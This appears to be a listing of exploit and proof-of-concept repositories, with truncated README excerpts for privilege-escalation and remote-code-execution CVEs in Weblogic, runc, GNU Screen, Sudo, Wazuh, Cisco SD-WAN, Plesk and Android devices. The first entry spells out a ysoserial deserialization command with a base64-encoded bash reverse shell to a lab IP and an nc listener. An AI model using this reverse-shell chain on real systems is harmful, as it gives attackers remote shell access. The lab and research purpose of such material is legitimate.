CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 リバースシェル ローカルIP：172.16.38.1 Weblogic：172.16.38.174:7001 1、 ローカルで実行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' その後、nc -lvv 7777 を実行 （1） ここ...

CVE-2017-5618-Screen-4.5.0-Root

GNU Screen 4.5.0 ローカル権限昇格エクスプロイト CVE-2017-5618 📌 概要 GNU Screen 4.5.0 向けのローカル権限昇格エクスプロイトで、共有ライブラリのロードを乗っ取り、ld.so.preload の操作を介して root アクセス を獲得します。 🔧 技術的詳細 脆弱性: CVE-2017-5618 種類: ld.so.preload を介した共有ライブラリのハイジャック 影響を受けるバージョン: GNU Screen 4.5.0 のみ 修正済みバージョン: GNU Screen 4.6.0+ 🎪 脆弱性サーカス CVE: 2017-5618 ...

CVE-2023-5521

CVE-2023-5521 KernelSUにおける署名偽装によるルート奪取 詳細レポート https://huntr.dev/bounties/d438eff7-4e24-45e0-bc75-d3a5b3ab2ea1/...

cdt-vulnsamba-deploy

CDT Team Delta - 脆弱性のあるSambaデプロイメント 概要 このリポジトリは、CVE-2017-7494（重大なリモートコード実行の脆弱性）の影響を受ける脆弱なSambaファイルサーバーをAnsibleベースでデプロイするものです。これは、Grey Teamフェーズ中にDeltaチーム向けにデプロイされる予定です。 脆弱性の説明 CVE-2017-7494 は、Samba バージョン 3.5.0 から 4.6.4 における重大な脆弱性で、リモートの攻撃者が書き込み可能な SMB 共有に悪意のある共有オブジェクト .so ファイルをアップロードし、Samba...

CVE-2018-17873

CVE-2018-17873 ファームウェアバージョン7.0.8rc3以前を実行しているWiFiRanger屋内ルーター（Core、GoAC）とその屋外ペアルーター（Sky Pro、EliteAC、EliteAC FM）は、匿名FTPの読み取り/書き込みアクセスを許可し、SSH秘密鍵を平文のまま残しています。そのため、鍵を表示/コピーしてroot権限でログインすることは簡単です。 この脆弱性を悪用するには、隣接ネットワークへのアクセスが必要です。 エクスプロイト: 秘密鍵を取得してrootとしてログインする、非常にシンプルなシェルスクリプトです。 使用方法:...

CVE-2019-5736-PoC

CVE-2019-5736-PoC CVE-2019-5736 の PoC @singe、@cablethief、@feexd の協力のもと作成しました。 Ubuntu 18.04、Debian 9、Arch Linux でテスト済みです。Docker のバージョンは 18.09.1-ce と 18.03.1-ce です。この PoC は現在、Ubuntu 16.04 と CentOS では動作しません。 脆弱性を発見した Dragon Sector のエクスプロイトコードは、こちらで確認してください。 これは何ですか？ これは CVE-2019-5736 の Go 実装であり、Dock...

FTP-vsFTPD-CVE-2011-2523-VAPT-Report

vsFTPD CVE-2011-2523 VAPT レポート ターゲット: Metasploitable 2 テスター: セキュリティアナリスト 日付: 2026年6月24日 範囲: 内部ラボテスト Kali Linux → Metasploitable 2 📌エグゼクティブサマリー Metasploitable 2 マシンに対して Nmap 脆弱性スキャンスクリプト を使用して脆弱性スキャンが実行されました。このスキャンにより、FTP サービス vsFTPd 2.3.4 バックドア に CVE-2011-2523 の影響を受ける 重大な脆弱性 が特定されました。...

pentest-metasploitable2

ペネトレーションテストラボ: Kali Linux vs Metasploitable2 免責事項: このラボは、ローカルでホストされた2つのVM間の完全に隔離された仮想ネットワーク内で実施されました。外部システム、ライブネットワーク、実際のインフラストラクチャは、いかなる時点も対象としていません。実証されたすべての手法は教育目的のみであり、同僚向けの構造化された講義として提供されました。 概要 このリポジトリは、Kali Linux 攻撃VMと Metasploitable2...

kernel-exploit-dirtycow-project-subm

kernel-exploit-dirtycow-project-subm Dirty COW 権限昇格 CVE-2016-5195 このプロジェクトは、CVE-2016-5195 の影響を受ける Ubuntu 16.04 カーネル上の Dirty COW 脆弱性を使用して、管理されたラボ環境での権限昇格シナリオを実証します。 環境 攻撃者 VM: Kali Linux 被害者 VM: Ubuntu 16.04 脆弱なカーネル 目標: 制限されたユーザーから root への権限を昇格し、/root/flag.txt からフラグを取得する 大まかな手順 エクスプロイトコードは含まれません 1...

CVE-2026-25769

🚨 CVE-2026-25769 - Wazuh 安全でないデシリアライゼーション RCE Wazuhクラスターモードにおける重大な Worker ➜ Master リモートコード実行 Wazuhクラスター通信における安全でないデシリアライゼーションにより、侵害されたワーカーノード がマスターノード上でroot権限のRCE を達成できる可能性があります。 📌 概要 CVE ID: CVE-2026-25769 製品: Wazuh 影響を受けるバージョン: 4.0.0 → 4.14.2 修正バージョン: 4.14.3 深刻度: Critical CVSS v3.1: 9.1 CWE:...

CVE-2026-20245---Cisco-SD-WAN-Privilege-Escalation-Exploit

CVE-2026-20245 - Cisco SD-WAN 权限提升利用工具 ⚠️ 警告 此代码仅用于教育目的和授权的安全测试。 📋 描述 CVE-2026-20245 是 Cisco Catalyst SD-WAN Controller vSmart、Cisco Catalyst SD-WAN Manager vManage 和 Cisco Catalyst SD-WAN Validator vBond CLI 中的一个权限提升 漏洞。拥有 netadmin 权限的认证攻击者可以通过上传特制文件以 root 身份执行任意命令。 技术细节 字段| 值 ---|--- CVE|...

CVE-2017-1000112-PoC

CVE-2017-1000112（バッファオーバーフロー） ISOイメージを https://old-releases.ubuntu.com/releases/16.10/ubuntu-16.10-server-amd64.iso からダウンロード gcc exploit.c -o exploit rootを取得...

OverlayFS-LPE-Exploit

OverlayFS-LPE-Exploit OverlayFS ローカル権限昇格 CVE-2021-3493 プロジェクト概要 このリポジトリには、Ubuntu Linux カーネルで発見されたローカル権限昇格 LPE 脆弱性に関するドキュメントとエクスプロイトコードが含まれています。これは TryHackMe ラボ環境でテストされました。 ラボのハイライト ターゲット: Ubuntu Linux 脆弱なシステム エクスプロイト: ローカル権限昇格 LPE 目標: 一般ユーザーから root アクセスを取得する 注記 教育および倫理的なサイバーセキュリティ演習のみを目的としています。...

CVE-2026-68487

Path traversal in Plesk's Backup Manager causes arbitrary file write as root by an authenticated customer...

EUVD-2026-75594

A Time-of-check Time-of-use TOCTOU race condition leading to insecure symlink following in Plesk causes local privilege escalation to root via arbitrary file/directory ownership takeover...

RootMyVivo-Exploit

RMV Exploit — 针对 iQOO Neo 11 PD2520 的 CVE-2026-43499 纯净构建 boxiaolanya2008/CVE-2026-43499-Neo11Plus 的分支， 针对 RootMyVivo Neo 重构：移除了所有我们场景不需要的内容， 保留了经过验证的漏洞利用核心，未改动时序。 相对上游移除的内容 组件| 原因 ---|--- 更换壁纸 + 杀死 systemserver| root 后“自发”软重启和壁纸更换的主要来源 io 守护进程（端口 39555）| 仅调试用 kernelapp 需要；应用通过 su 工作...

ghostlock-app

GhostLock-App English: README.md 支持的设备 Kernel| Devices ---|--- 6.1.115-android14-11-ga2521ca27699-ab13294383| POCO X6 Pro 6.1.118-android14-11-ga3b9c44908dd-ab13320413| Redmi Note 15 Pro+ 6.1.118-android14-11-gca0ef6d17716-ab13624819| Xiaomi 14 6.1.138-android14-11-g0c3d559bcd85-ab14529422| Xiaom...

OverlayFS-CVE-2021-3493

gcc Exploit.c -o Exploit whoami root...

Sudo-Chroot

説明: Sudo 1.9.17p1より前のバージョンでは、--chrootオプション使用時にユーザー制御のディレクトリから/etc/nsswitch.confが読み込まれるため、ローカルユーザーがルートアクセスを取得できます。 sudo-chroot -R によるローカルの権限昇格...

Holistic-Deconstruction-of-CVE-2019-5736-

= doi.org/10.5281/zenodo.18304765 = orcid.org/0009-0007-7728-256X README.md 💀 CVE-2019-5736: runcコンテナブレイクアウトの分解 高度なパープルチーミング & ホストルートエスケープのフォレンジック分析 🛡️ 概要 このリポジトリには、runc（バージョン1.0-rc1から1.0-rc6まで）の重大な脆弱性である CVE-2019-5736...